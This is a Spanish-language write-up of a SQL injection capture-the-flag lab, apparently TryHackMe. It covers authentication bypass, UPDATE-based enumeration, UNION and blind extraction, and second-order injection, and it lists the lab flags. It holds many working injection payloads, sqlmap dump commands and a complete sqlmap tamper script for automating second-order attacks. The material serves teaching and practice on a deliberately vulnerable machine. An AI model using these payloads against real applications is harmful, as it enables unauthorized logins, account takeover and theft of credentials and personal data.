En esta habitación veremos una introducción a la inyección SQL y demostraremos varios ataques de este tipo. Algo de conocimiento previo de lenguaje de SQL es muy recomendable.

Para eso, practicaremos con una máquina virtual vulnerable a estos ataques.

Qué es la inyección SQL

Es una técnica a través de la cual atacantes pueden ejecutar sus propias peticiones maliciosas en SQL, o payloads maliciosos.

Con ellos, pueden robar información de la base de datos o hacer cambios.

Las aplicaciones necesitan a menudo peticiones SQL dinámicas para ser capaces de mostrar contenido basado en las diferentes condiciones establecidas por el usuario. Para permitir esas peticiones SQL dinámicas, los desarrolladores concatenan a menudo el input del usuario directamente en la declaración SQL.

Si no se chequea bien dicho input, la concatenación de cadenas se convierte en el error más común que lleva a una vulnerabilidad de inyección de SQL.

Sin un saneamiento de ese input, el usuario puede hacer que la base de datos lo interprete como una declaración SQL en lugar de como datos. Dicho de otro modo, el atacante debe tener acceso a un parámetro que pueda controlar y que va en la declaración SQL. Con el control de un parámetro, el atacante puede inyectar una petición maliciosa, que será ejecutada por la base de datos.

Si la aplicación no sanea el input del parámetro controlado por el atacante, la petición será vulnerable a un ataque de inyección SQL.

El siguiente código PHP demuestra una petición dinámica en un formulario de autenticación. Las variables user y password de la petición POST se concatenan directamente en la declaración SQL.

$query = "SELECT * FROM users WHERE username ='" + $_POST["user"] + "' AND password = '" + $_POST["password"]$ + '";"

Si el atacante proporciona el valor:

' OR 1=1-- -

Dentro del parámetro nombre, la petición puede devolver más de un usuario. Muchas aplicaciones procesarán el primer usuario devuelto, lo que significa que el atacante puede explotar esto e identificarse como el primer usuario que ha devuelto la petición.

La secuencia de doble guion (–) es un indicador de comentario en SQL y causa que el resto de la petición se quede comentada y sin efecto.

En SQL, una cadena se especifica dentro de una comilla simple (‘) o una doble (“). La simple en el input se usa para cerrar la cadena literal. Si el atacante introduce ‘OR 1=1 – - en el parámetro nombre y deja la contraseña en blanco, la petición de arriba se convierte en esta declaración SQL.

SELECT * FROM users WHERE username = '' OR 1=1 -- -' AND password = ''

Si la base de datos ejecuta eso, todos los usuarios de la tabla usuarios son devueltos. De esta manera, el atacante se salta el mecanismo de autenticación de la aplicación y se identifica como el primer usuario devuelto por la petición.

La razón de usar – - en lugar de solamente – es por cómo se gestiona el estilo de comentario de doble guion por parte de MySQL.

La solución más segura para comentarios en línea SQL es usar –(espacio)(cualquier carácter), como por ejemplo – - porque si se codifica en URL como –%20- será decodificado como – -.

Para más información, ver este artículo.

Inyección SQL 1. Input que no es cadena

Cuando un usuario se identifica, la aplicación realiza lo siguiente:

SELECT uid, name, profileID, salary, passportNr, email, nickName, password FROM usertable WHERE profileID=10 AND password = 'ce5ca67...'

En este caso, el usuario proporciona el parámetro profileID. Para este desafío, el parámetro acepta un número entero, como se puede ver aquí:

profileID=10

Ya que no hay saneamiento de input, es posible saltarse la autenticación usando cualquier condición verdadera (que evalué a True) como se puede ver aquí:

1 or 1=1-- -

Vamos a la máquina, saltamos la autenticación y obtenemos la bandera.

THM{dccea429d73d4a6b4f117ac64724f460}

Inyección SQL 2. Input que es cadena

Este desafío usa la misma petición que antes, pero el parámetro espera una cadena en lugar de un número, como puede verse aquí.

profileID='10'

Como espera una cadena, es necesario modificar nuestro payload un poquito para saltarnos la autenticación.

1' or '1'='1'-- -

Vamos a la máquina, saltamos la autenticación de esa manera y obtenemos la bandera.

THM{356e9de6016b9ac34e02df99a5f755ba}

Inyección SQL 3 y 4. Inyección URL y POST

Aquí, la petición SQL es la misma que antes:

SELECT uid, name, profileID, salary, passportNr, email, nickName, password FROM usertable WHERE profileID='10' AND password='ce5ca67...'

Pero en este caso, el input malicioso no puede ser inyectado directamente en la aplicación a través del formulario, porque se han implementado algunos controles en la parte del cliente.

function validateform() {
    var profileID = document.inputForm.profileID.value;
    var password = document.inputForm.password.value;

    if (/^[a-zA-Z0-9]*$/.test(profileID) == false || /^[a-zA-Z0-9]*$/.test(password) == false) {
        alert("The input fields cannot contain special characters");
        return false;
    }
    if (profileID == null || password == null) {
        alert("The input fields cannot be empty.");
        return false;
    }
}

El código javascript de arriba requiere que el profileID y la contraseña incluyan solamente caracteres de la a-z, A-Z y 0-9.

Los controles en la parte del cliente solo están para mejorar la experiencia del usuario y no son, de ninguna manera, una característica de seguridad, ya que el usuario tiene control total sobre el cliente y los datos que envía.

Por ejemplo, una herramienta proxy como Burp Suite puede usarse para saltar la validación por javascript en la parte del cliente.

El desafío 3 usa una petición GET cuando se envía la información de autenticación, como se puede ver aquí.

Petición GET de autenticación

En este caso, la validación en la parte del cliente se puede saltar muy fácilmente yendo directamente a esta dirección.

http://IP_Objetivo:5000/sesqli3/login?profileID=-1' or 1=1-- -&password=a

El navegador codificará eso en URL por nosotros. Dicha codificación es necesaria, ya que el protocolo HTTP no soporta todos los caracteres en la petición. Codificada, la petición se vería así.

http://10.10.74.81:5000/sesqli3/login?profileID=-1%27%20or%201=1--%20-&password=a

%27 es ‘ y %20 es espacio en blanco.

Ejecutamos las instrucciones y obtenemos la bandera.

THM{645eab5d34f81981f5705de54e8a9c36}

Inyección SQL 4. Inyección POST

Cuando enviemos el formulario de autenticación en este desafío, se usa el método HTTP POST. Es posible quitar o deshabilitar el javascript que valida el formulario, o bien enviar una petición válida e interceptarla con una herramienta proxy como Burp Suite y modificarla.

SQLi con Burp

Sé que debería practicar con Burp y esas cosas, pero he desconectado el javascript de la página (y con un plugin de Firefox demostrando doble pereza) para saltar la barrera.

THM{727334fd0f0ea1b836a8d443f09dc8eb}

Ataque de inyección SQL en una declaración UPDATE

Si la inyección SQL ocurre en una declaración UPDATE, el daño puede ser mucho más severo, porque permite cambiar uno de los registros de la base de datos. En la aplicación de gestión de empleados de la máquina vulnerable con la que trabajamos, hay una página de editar perfil.

Formulario de edicion

Esta página de edición permite al empleado actualizar su información, pero no tiene acceso a todos los campos disponibles y el usuario solo puede cambiar su información.

Si el formulario es vulnerable a inyección SQL, un atacante puede saltarse la lógica implementada y actualizar campos que se supone que no se pueden, o los de otros usuarios.

Vamos a enumerar la base de datos a través de la declaración UPDATE en la página de perfil. Asumiremos que no tenemos conocimiento previo de la base de datos.

Examinando el código fuente de la página web, podemos identificar columnas potenciales a través del atributo name. Las columnas no necesariamente se llamarán así, pero hay bastantes probabilidades de que sea de esa manera, además de que columnas como email o password son habituales y fáciles de adivinar.

Examinando código fuente para enumerar base de datos

Para confirmar que el formulario es vulnerable y que son nombres de columnas reales, podemos tratar de inyectar algo similar al siguiente código dentro de los campos email y nickName.

asd',nickName='test',email=hacked

Cuando inyectemos este payload malicioso dentro del campo nickName, solo se actualizará este. Cuando se inyecte en el campo email, ambos campos serán actualizados.

Resultado de la inyeccion

La primera prueba nos ha confirmado que la aplicación es vulnerable y que tenemos los nombres correctos de las columnas.

Si hubieran sido erróneos, ninguno de los campos se habría actualizado. Ya que ha ocurrido en los dos, la declaración SQL original quedaría como algo similar a esto:

UPDATE <table_name> SET nickname='name', email='email' WHERE <condition>

Con este conocimiento, podemos tratar de identificar qué base de datos está en uso. Hay unas pocas maneras de hacer esto, pero la más sencilla es pedir a la base de datos que se identifique a sí misma.

Las siguientes peticiones pueden usarse para identificar MySQL, MSSQL, Oracle, y SQLite:

# MySQL y MSSQL
',nickName=@@version,email='
# Oracle
',nickName=(SELECT banner FROM v$version),email='
# SQLite
',nickName=sqlite_version(),email='

Inyectar la línea de SQLite en el campo nickName nos muestra que lidiamos con este tipo de base de datos y su número de versión es 3.27.2:

Averiguando la versión y tipo de base de datos

Conocer la base de datos nos permite entender mejor cómo construir peticiones maliciosas. Podemos proceder a enumerar la base de datos extrayendo todas las tablas.

En el código de abajo realizamos una subpetición para obtener todas las tablas de la base de datos y colocarlas dentro del campo nickName. La subpetición está entre paréntesis. La función group_concat() se usa para volcar todas las tablas a la vez:

',nickName=(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'),email='

Inyectando el código podemos ver que la única tabla de la base de datos se llama usertable:

Averiguando las tablas de la base de datos

Podemos continuar extrayendo todos los nombres de las columnas de usertable:

',nickName=(SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='usertable'),email='

Y como podemos ver debajo, la tabla contiene las columnas: UID, name, profileID, salary, passportNr, email, nickName, and password:

columnas de la table

Conociendo los nombres de las columnas, podemos extraer los datos que queramos de la base. Por ejemplo, la petición de abajo extraerá los ID de los perfiles, nombres y contraseñas. La subpetición se hace usando la función group_concat() para volcar toda la información a la vez y el operador || que significa concatenar une las cadenas de sus operandos.

Ver referencias de group_contact() y SQLite para más detalles.

',nickName=(SELECT group_concat(profileID || "," || name || "," || password || ":") from usertable),email='

Obteniendo nombres y contraseñas

Después de volcar los datos de la base, podemos ver que la contraseña está hasheada. Esto significa que necesitaremos identificar el tipo de hash si queremos actualizar la contraseña de un usuario.

Usando un identificador, podemos ver que es SHA256:

Identificando el hash

Hay muchas maneras de generar un hash de este tipo, por ejemplo, CyberChef.

Generando un hash

De esta manera, podemos actualizar la contraseña del usuario admin con este código:

', password='008c70392e3abfbd0fa47bbc2ed96aa99bd49e159727fcba0f2e6abeb3a9d601' WHERE name='Admin'-- -

La tarea es acceder al desafío 5 de la máquina vulnerable e identificarnos con las credenciales:

  • profileID: 10
  • password: toor

La misma enumeración demostrada para encontrar tablas y columnas puede usarse aquí, ya que la bandera está guardada dentro de otra tabla.

Comenzamos usando las peticiones maliciosas para averiguar la base de datos que usa.

',nickName=sqlite_version(),email='

Es SQLite en su versión 3.22.0 en este caso.

Averiguando base de datos y version

Usando la petición para obtener las tablas, averiguamos que tiene 2, usertable y secrets.

',nickName=(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'),email='

Asumo que la bandera está en la segunda.

Averiguando las tablas de la base de datos

Ahora extraigo las columnas de secrets.

',nickName=(SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='secrets'),email='

Veo que hay 3 columnas, id, author y secret.

Averiguando columnas

Extraigo los datos con:

',nickName=(SELECT group_concat(id || "," || author || "," || secret || ":") from secrets),email='

Y aparece la bandera.

Obteniendo los datos

THM{b3a540515dbd9847c29cffa1bef1edfb}

Autenticación rota

El objetivo de este desafío es encontrar una manera de saltarse la autenticación y obtener la bandera. En la máquina vulnerable nos vamos al apartado Track: Vulnerable Startup > Broken Authentication y tratamos de conseguir esa bandera.

En la parte inferior nos muestra la petición ejecutada, lo cual nos guía sobre lo que pasa entre bambalinas.

La instrucción básica funciona.

1' or 1=1-- - 

La petición queda así:

SELECT id, username FROM users WHERE username = '1' or 1=1-- -' AND password = 'pepe'

Y esta es la bandera.

THM{f35f47dcd9d596f0d3860d14cd4c68ec}

Autenticación rota 2

Usando lo que hemos visto, el objetivo es volcar todas las contraseñas de base de datos y obtener la bandera sin usar inyección ciega.

El formulario es vulnerable a inyección SQL y es posible saltarse la autenticación usando ‘ or 1=1 como nombre de usuario.

Antes de volcar todas las contraseñas, necesitamos identificar lugares donde los resultados de la petición se retornan dentro de la aplicación.

Después de autenticarnos, el nombre del usuario actualmente identificado se muestra en la esquina superior derecha, de manera que es posible volcar los datos ahí, como se muestra aquí.

Mostrando dónde se devuelven los datos de la base en la página

Los datos de la petición también podrían estar guardados en la cookie de sesión. Es posible extraer dicha cookie abriendo las herramientas de desarrollador del navegador (pulsando F12). Luego navegamos a Almacenamiento (storage) y copiamos el valor de la cookie de sesión:

Copiando el valor de la cookie de sesion

Es posible decodificar esta cookie en:

https://www.kirsle.net/wizards/flask-session.cgi

O bien mediante un script personalizado, que, de hecho, tenemos descargado dentro del directorio Downloads de la máquina con la que estamos trabajando.

Después de habernos identificado con ' or 1=1-- - como nombre de usuario, la cookie decodificada se puede ver más abajo y está claro que el nombre de usuario y de id se colocan ahí.

{
    "challenge2_user_id": 1,
    "challenge2_username": "admin"
}

Es posible volcar las contraseñas usando una inyección de SQL basada en UNION.

Hay dos requerimientos clave para que esto funcione:

  • El número de columnas de la petición inyectada debe ser el mismo que el de la petición original.
  • Los tipos de datos de cada columna deben encajar con su tipo correspondiente.

Cuando nos autenticamos en la aplicación, se ejecuta la petición de abajo. En ella podemos ver que recupera dos columnas: id y username.

SELECT id, username FROM users WHERE username = '" + username + "' AND password = '" + password + "'

Sin saber el número de columnas, el atacante debe enumerar primero dicho número, inyectando sistemáticamente peticiones con diferentes números de columna hasta que tenga éxito.

Por ejemplo:

 1' UNION SELECT NULL-- -
 1' UNION SELECT NULL, NULL-- -
 1' UNION SELECT NULL, NULL, NULL-- -

En este caso, éxito significa que la aplicación nos identificará correctamente cuando inyectemos el número de columnas acertado.

En otros casos, si los mensajes de error están habilitados, puede aparecer un Warning diciendo que no tenemos el mismo número de columnas.

Usando ' UNION SELECT 1,2-- - como usuario igualamos el número de columnas en la petición original y la aplicación nos deja pasar. A continuación, podemos ver que el nombre de usuario ha sido reemplazado por el número 2, que es el que usamos como columna 2 en la petición inyectada.

Peticiones UNION

Lo mismo se aplica al usuario en la cookie de sesión. Decodificándola, podemos ver que el nombre de usuario ha sido reemplazado con el mismo valor que arriba.

{
    "challenge2_user_id": 1,
    "challenge2_username": 2
}

Enumeramos la base de datos para encontrar tablas y columnas, como hemos hecho antes. Una hoja resumen, como la de Payloadsallthethings puede sernos de ayuda.

El objetivo del desafío es volcar todas las contraseñas para obtener la bandera, así que en este caso, vamos a adivinar que el nombre de la columna es password y que el nombre de la tabla es users.

Con esa lógica, es posible volcar las contraseñas con esta instrucción.

' UNION SELECT 1, password from users-- -

Sin embargo, eso solo nos devuelve una contraseña.

La función group_concat() nos puede ayudar a conseguir el objetivo de volcar todas a la vez, inyectando lo siguiente.

' UNION SELECT 1,group_concat(password) FROM users-- -

De esta manera, se vuelcan todas las contraseñas.

Volcado con group_concat()

Las contraseñas también se pueden obtener decodificando la cookie Flask de sesión.

{
    "challenge2_user_id": 1,
    "challenge2_username": "rcLYWHCxeGUsA9tH3GNV,asd,Summer2019!,345m3io4hj3,THM{AuTh2},viking123"
}

La tarea consiste en explotar nosotros el formulario de autenticación y conseguir la bandera.

No hay demasiada ciencia, asumiendo los mismos nombres de columnas, ejecutamos la instrucción con UNION y group_concat(password)

' UNION SELECT 1,group_concat(password) FROM users-- -

THM{fb381dfee71ef9c31b93625ad540c9fa}

Autenticación rota 3 (inyección ciega)

La meta de este desafío es la misma que la del anterior. Sin embargo, ya no es posible extraer datos de cookie de sesión o a través de que se nos muestre el nombre de usuario.

El formulario de autenticación tiene la misma vulnerabilidad, pero esta vez el objetivo es abusar con inyección SQL ciega para extraer la contraseña de administrador.

Las inyecciones ciegas son tediosas y lleva mucho tiempo ejecutarlas manualmente, así que el plan es escribir un script para extraer la contraseña carácter a carácter.

Antes de realizar ese script, es vital comprender cómo funciona la inyección.

La idea es enviar una petición SQL preguntando para cada carácter de la contraseña si este es verdadero o falso. Entonces analizaremos la respuesta de la aplicación para ver qué nos ha devuelto. En este caso, la aplicación nos hará saber si la respuesta es exitosa.

Si no lo es, el formulario de autenticación nos dirá que el usuario o la contraseña no son válidos, como se ve debajo.

Probando inyeccion ciega

Para realizar con éxito ese proceso, necesitamos una manera de controlar en qué carácter estamos e incrementarlo cada vez que acertemos con lo que hay en esa posición concreta.

La función substr de SQLite puedes ayudarnos a conseguir esta funcionalidad.

Según el tutorial:

Esta función devuelve una subcadena de una cadena, comenzando en una posición especificada con una longitud predefinida.

El primer argumento de substr es la cadena en sí misma, que será la contraseña de administrador.

El segundo argumento es la posición inicial.

El tercer argumento es la longitud de la subcadena que será retornada.

SUBSTR( string, <start>, <length>)

Debajo tenemos un ejemplo de la función en acción. El carácter después del igual (=) muestra la subcadena devuelta.

-- Changing start
SUBSTR("THM{Blind}", 1,1) = T
SUBSTR("THM{Blind}", 2,1) = H
SUBSTR("THM{Blind}", 3,1) = M

-- Changing length
SUBSTR("THM{Blind}", 1,3) = THM

El siguiente paso será introducir la contraseña de administrador como cadena dentro de la función substr. Esto puede conseguirse con esta petición:

(SELECT password FROM users LIMIT 0,1)

La cláusula LIMIT se usar para limitar la cantidad de datos desvueltos por la declaración SELECT. El primer número, 0, es el inicio, el segundo número entero es el límite.

LIMIT <OFFSET>, <LIMIT>

Debajo hay unos pocos ejemplos de la cláusula LIMIT en acción. Lo siguiente representa los valores de la tabla de usuarios.

sqlite> SELECT password FROM users LIMIT 0,1
THM{Blind}
sqlite> SELECT password FROM users LIMIT 1,1
Summer2019!
sqlite> SELECT password FROM users LIMIT 0,2
THM{Blind}
Summer2019!

THM{Blind} - Summer2019! - Viking123

La petición SQL para devolver el primer carácter de la contraseña de administrador se puede ver aquí.

SUBSTR((SELECT password FROM users LIMIT 0,1),1,1)

Este enfoque funcionará o no dependiendo de cómo maneje los inputs la aplicación.

En este caso, convertirá el nombre de usuario a minúsculas, lo que nos rompe el juguete, porque una T no es lo mismo que una t.

La representación hexadecimal del ASCII T es 0x54 y la de t es 0x74.

Para arreglar esto, podemos introducir nuestro carácter como representación hexadecimal a través del tipo de sustitución X y luego usar la expresión CAST de SQLite para convertir el valor al tipo de dato que espera la base de datos.

x,X: El argumento es un número entero que se muestra en hexadecimal. Se usa hexadecimal en minúsculas para %x y en mayúsculas para %X (SQLite.org)

Esto significa que podemos poner T como X’54’.

Para convertir el valor al tipo texto de SQLite, podemos usar la expresión CAST como sigue:

CAST(X’54’ as Text)

De esta manera, la petición nos quedaría así:

SUBSTR((SELECT password FROM users LIMIT 0,1),1,1) = CAST(X'54' as Text)

Antes de usar la petición que hemos construido, necesitaremos que encaje en la petición original.

Dicha petición será introducida en el campo username. Podemos cerrar ese parámetro con una comilla simple (‘) y después añadir un operador AND para añadir nuestra condición.

Luego añadimos dos guiones (–) para comentar el chequeo de contraseña al final de la petición.

admin' AND SUBSTR((SELECT password FROM users LIMIT 0,1),1,1) = CAST(X'54' as Text)-- -

Cuando esto se inyecte en el campo nombre de usuario, la petición final ejecutada por la base de datos será:

SELECT id, username FROM users WHERE username = 'admin' AND SUBSTR((SELECT password FROM users LIMIT 0,1),1,1) = CAST(X'54' as Text)

Si la aplicación responde con una redirección 302, hemos encontrado el primer carácter.

Para obtener toda la contraseña, el atacante debe introducir muchas pruebas por cada carácter en la contraseña. Una posible solución es hacer un bucle sobre cada carácter ASCII posible y compararlo con el carácter de la base de datos.

Este método genera demasiado tráfico hacia el objetivo y no es lo más eficiente.

Hay un script en Python de ejemplo en la máquina que se puede descargar. Será necesario cambiar la longitud de la contraseña con la variable password_len.

La longitud de la contraseña se puede encontrar preguntando a la base de datos. Por ejemplo, en la petición de abajo, preguntamos a la base de datos si la longitud es igual a 37.

admin' AND length((SELECT password from users where username='admin'))==37-- -

El script también requiere una gran cantidad innecesaria de peticiones.

Una manera alternativa de resolver esto es usando una herramienta como SQLMap, que automatiza el proceso de detectar y explotar debilidades de inyección SQL. El siguiente comando puede usarse para explotar la vulnerabilidad con SQLMap.

sqlmap -u http://10.10.203.213:5000/challenge3/login --data="username=admin&password=admin" 
--level=5 --risk=3 --dbms=sqlite --technique=b --dump

La tarea es explotar el formulario de autenticación y conseguir la bandera.

El tema tiene mucha enjundia, pero con el script, simplemente tenemos que leerlo un poco y ver que se usa de la siguiente manera:

python3 exploit.py IP_Objetivo:Puerto

Y nos va sacando la bandera letra a letra.

THM{f1f4e0757a09a0b87eeb2f33bca6a5cb}

Vulnerable notes

En esta parte del desafío, se han arreglado múltiples vulnerabilidades y el formulario de autenticación ya no se ve afectado por inyección SQL.

Sin embargo, el equipo ha implementado una nueva función de notas, permitiendo a los usuarios añadirlas.

El objetivo es encontrar una vulnerabilidad en esa sección y volcar la base de datos para obtener la bandera.

Registrando un nuevo usuario e identificándose, podemos navegar a la nueva sección pulsando en «Notes».

Sección de notas

Dicha sección no es directamente vulnerable, ya que se ha asegurado con peticiones parametrizadas.

En este tipo de peticiones, la declaración SQL se especifica primero con marcadores de posición (placeholders) para los parámetros. Así, el input del usuario se pasa a cada parámetro de la petición posteriormente.

Las peticiones parametrizadas permiten a la base de datos distinguir entre código y datos, independientemente del input.

INSERT INTO notes (username, title, note) VALUES (?, ?, ?)

Aunque se usen peticiones parametrizadas, el servidor aceptará datos maliciosos y los colocará en la base de datos si la aplicación no los sanea. Aún así, previene los inputs que pueden provocar inyección SQL.

La función de registro también usa peticiones parametrizadas, de manera que cuando la petición de abajo se ejecuta, solo la declaración INSERT se ejecuta. Aceptará cualquier input malicioso y lo colocará en la base de datos si no lo sanea, pero la parametrización previene al input de provocar inyección SQL.

INSERT INTO users (username, password) VALUES (?, ?)

Sin embargo, la petición que recupera todas las notas pertenecientes a un usuario no utiliza parametrización. El nombre de usuario se concatena directamente en dicha petición, haciéndola vulnerable a inyección SQL.

SELECT title, note FROM notes WHERE username = '" + username + "'

Esto significa que si registramos un usuario con nombre malicioso, todo estará bien hasta que dicho usuario navegue a la página de notas y la petición no segura trate de recuperar los datos del usuario malicioso.

Creando un usuario con este nombre:

' union select 1,2'

Deberíamos ser capaces de disparar una inyección secundaria.

Registrando un usuario malicioso

Con este nombre de usuario, la aplicación realiza esta petición:

SELECT title, note FROM notes WHERE username = '' union select 1,2''

Y con ella, en la página de notas del usuario, podremos ver que la primera columna en la petición es el título de la nota y la segunda columna es la nota en sí misma.

Inyeccion SQL secundaria

Con este conocimiento, es fácil explotar la vulnerabilidad, por ejemplo, para obtener todas las tablas de la base de datos podemos crear el siguiente usuario con nombre:

' union select 1,group_concat(tbl_name) from sqlite_master where type='table' and tbl_name not like 'sqlite_%''

Para encontrar la bandera entre las contraseñas, registra un usuario con el nombre:

'  union select 1,group_concat(password) from users'

Automatizando la explotación con SQLMap

Es posible usar SQLMap para automatizar este ataque, pero un ataque estándar con la herramienta fallará. La inyección ocurre tras el registro de usuario, pero la función vulnerable está localizada en la página de notas.

Para que SQLMap pueda explotar esta vulnerabilidad, debe realizar los siguientes pasos:

  1. Registrar un usuario malicioso.
  2. Identificarse con él.
  3. Ir a la página de notas para disparar la inyección.

Es posible conseguir todos los pasos necesarios creando un script de manipulación. SQLMap soporta estos scripts. Con ellos podemos modificar fácilmente el payload, por ejemplo, añadiendo codificación personalizada.

Eso también nos permite configurar otras cosas, como cookies.

Hay dos funciones personalizadas en el script de manipulación que hay debajo. La primera es create_account(), que registra un usuario con el payload de SQLMap como nombre y asd como contraseña.

La segunda función personalizada es login(), que autentica a SQLMap con el usuario creado y devuelve la cookie de sesión Flask.

Tamper() es la función principal y tiene los argumentos payload y kwargs como argumentos. Kwargs contiene información como la de encabezados HTTP, que necesitamos para colocar la cookie de sesión Flask en la petición para permitir a SQLMap ir a las notas a fin de disparar la inyección SQL.

La función tamper() obtiene primero los encabezados de kwargs, luego crea un nuevo usuario en la aplicación, se autentica y coloca la sesión Flask en el objeto encabezado HTTP.

#!/usr/bin/python
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

address = "http://10.10.1.134:5000/challenge4"
password = "asd"

def dependencies():
    pass

def create_account(payload):
    with requests.Session() as s:
        data = {"username": payload, "password": password}
        resp = s.post(f"{address}/signup", data=data)

def login(payload):
    with requests.Session() as s:
        data = {"username": payload, "password": password}
        resp = s.post(f"{address}/login", data=data)
        sessid = s.cookies.get("session", None)
    return "session={}".format(sessid)


def tamper(payload, **kwargs):
    headers = kwargs.get("headers", {})
    create_account(payload)
    headers["Cookie"] = login(payload)
    return payload

El directorio donde se localiza el script de manipulación necesitará también un archivo __init__.py vacío para que SQLMap sea capaz de cargarlo. Antes de iniciar SQLMap con el script, cambia la variable de dirección y contraseña dentro del script.

Una vez hecho, es posible explotar la vulnerabilidad con el siguiente comando:

sqlmap --tamper so-tamper.py --url http://10.10.1.134:5000/challenge4/signup  --data "username=admin&password=asd" 
--second-url http://10.10.1.134:5000/challenge4/notes  -p username --dbms sqlite --technique=U --no-cast

# --tamper so-tamper.py - The tamper script
# --url - The URL of the injection point, which is /signup in this case
# --data - The POST data from the registraion form to /signup. 
#   Password must be the same as the password in the tamper script
# --second-url http://10.10.1.134:5000/challenge4/notes - Visit this URL to check for results
# -p username - The parameter to inject to
# --dbms sqlite - To speed things up
# --technique=U - The technique to use. [U]nion-based
# --no-cast - Turn off payload casting mechanism

Volcar la tabla users puede ser difícil sin apagar el mecanismo de invocación del payload con el parámetro –no-cast. Un ejemplo de la diferencia entre casting y no casting se puede ver aquí.

-- With casting enabled:
admin' union all select min(cast(x'717a717071' as text)||coalesce(cast(sql as text),cast(x'20' as text)))||cast(x'716b786271' as text),null from sqlite_master 
where tbl_name=cast(x'7573657273' as text)-- daqo'
-- 7573657273 is 'users' in ascii

-- Without casting:
admin' union all select cast(x'717a6a7871' as text)||id||cast(x'6774697a7462' as text)||password||cast(x'6774697a7462' as text)||username||cast(x'7162706b71' as text),null 
from users-- ypfr'

Cuando SQLMap pregunta, responde que no a las redirecciones 302, luego responde sí para continuar probando si detecta algún WAF/IPS. Responde que no cuando pregunte si queremos unir las cookies en peticiones futuras y di que no a reducir el número de peticiones.

Como se ve en la imagen de abajo, SQLMap fue capaz de encontrar la vulnerabilidad que nos permite automatizar su explotación.

Usando SQLMap

La bandera se puede encontrar volcando la tabla users:

sqlmap --tamper tamper/so-tamper.py --url http://10.10.1.134:5000/challenge4/signup --data "username=admin&password=asd" 
--second-url http://10.10.1.134:5000/challenge4/notes -p username --dbms=sqlite --technique=U --no-cast -T users --dump

Todos los datos se guardan en un archivo de volcado, como se ve en la imagen inferior. Leer el principio de ese archivo nos permite ver la bandera.

Archivo de volcado

Nuestra tarea es explotar la función y obtener la bandera.

Como soy un vago, lo hago de la manera más sencilla:

Registro un usuario con el nombre:

'  union select 1,group_concat(password) from users'

Me identifico, me voy a la página de notas y veo la bandera:

THM{4644c7e157fd5498e7e4026c89650814}

Cambiar la contraseña

Para este desafío, la vulnerabilidad en la página de notas ha sido arreglada. Una nueva función de cambio de contraseña se ha añadido a la aplicación, de manera que los usuarios pueden hacer eso en su página de perfil.

La nueva función es vulnerable a inyección SQL porque la declaración UPDATE concatena el nombre de usuario directamente en la petición SQL, como podremos ver más adelante.

La meta es explotar eso para ganar acceso a la cuenta del administrador.

El desarrollador ha usado un marcador de posición (placeholder) porque este input viene directamente del usuario. El nombre de usuario no viene directamente de él, sino que se recupera de la base de datos según el ID guardado en el objeto sesión.

Por eso, el desarrollador ha pensado que el nombre de usuario es seguro y lo concatena directamente en vez de usar un marcador de posición.

UPDATE users SET password = ? WHERE username = '" + username + "'

Para explotar estar vulnerabilidad y ganar acceso a la cuenta de administrador, podemos crear un usuario con el nombre admin' -- -

Después de registrar este usuario malicioso, podemos actualizar la contraseña y disparar la vulnerabilidad. Cuando se cambia, la aplicación ejecuta dos peticiones.

Primero, le pregunta a la base de datos por el nombre y contraseña de nuestro usuario actual:

SELECT username, password FROM users WHERE id = ?

Si todo es correcto, tratará de actualizar la contraseña de nuestro usuario. Ya que el nombre de usuario se concatena directamente en la petición SQL, la petición ejecutada serás así:

UPDATE users SET password = ? WHERE username = 'admin' -- -'

Esto significa que en en vez de actualizar la contraseña del usuario admin' -- -, la aplicación actualizará la contraseña de admin. Tras eso, es posible autenticarse como ese usuario y la nueva contraseña, viendo la bandera.

La tarea es crear un nuevo usuario y explotar la vulnerabilidad de actualizar contraseña para obtener la bandera.

No tiene mucha ciencia, registramos un usuario que sea:

admin' -- -

Cambiamos contraseña, salimos de la sesión y entramos de nuevo con el usuario admin y la nueva contraseña.

THM{cd5c4f197d708fda06979f13d8081013}

Título del libro

En la máquina vulnerable se ha añadido una nueva función en este escenario, de modo que es posible buscar libros en la base de datos y es vulnerable a inyección SQL porque concatena el input del usuario en la declaración SQL.

Vamos a abusar de esto y encontrar la bandera oculta.

En el enlace que nos lleva a esa sección, podemos ver la función de búsqueda vulnerable:

Función vulnerable a SQLi

La página web realiza una petición GET con el parámetro title cuando busca un libro.

SELECT * from books WHERE id = (SELECT id FROM books WHERE title like '" + title + "%')

Todo lo que necesitamos hacer es abusar de esto cerrando el operando LIKE que hay a la derecha del operador title, por ejemplo, podemos volcar todos los libros de la base de datos inyectando:

') or 1=1-- -

La tarea es usar lo que hemos aprendido sobre inyección SQL basada en UNION y explotar la función de búsqueda para recuperar la bandera.

Inyectando

') or 1==1-- -

Volcamos la base de datos de libros.

Volcado de todos los libros

Para aprovechar un ataque con UNION, recordemos las condiciones:

  • Las peticiones individuales deben devolver el mismo número de columnas.
  • Los tipos de datos en cada columna deben ser compatibles entre las peticiones individuales.

Cumplir esos dos criterios suele implicar el figurarse:

  • ¿Cuántas columnas devuelve la petición original?
  • ¿Qué columnas devueltas en la petición original son tipos de datos adecuados para contener los resultados de la petición inyectada?

El primer paso es determinar el número de columnas requeridas en un ataque de inyección SQL mediante UNION

Para eso, por lo general vamos inyectando lo siguiente en una petición:

' ORDER by 1-- -
' ORDER by 2-- -

Y así hasta que nos dé un error. OJO, porque en este caso, el paréntesis para cerrar la petición cuenta y necesitamos un título de libro que esté en la base de datos. Cojo test que es el más fácil, así que hemos de insertar exactamente

test') ORDER by 1-- -
test') ORDER by 2-- -

Etc.

Cuando ejecuto:

test') order by 5 -- -

Compruebo que la pantalla me sale en blanco, en lugar de con datos. Hasta ese número me han ido saliendo datos, de manera que hay 4 columnas.

Descubrimiento del número de columnas

Con ese número, comprobamos cuántas columnas son vulnerables.

test') union select 1,2,3,4-- -

Nos devuelve las columnas 2,3 y 4.

Así que podemos extraer de la base de datos usando UNION y la función group_concat().

') union select 1,group_concat(username),group_concat(password),4 from users-- -

Y sale la bandera.

Uso de union y group_concat()

THM{27f8f7ce3c05ca8d6553bc5948a89210},

Título del libro, parte 2

En esta parte del desafío, la aplicación realiza una petición temprana en el proceso. Luego usa el resultado de esa primera petición en una segunda petición posterior sin sanear.

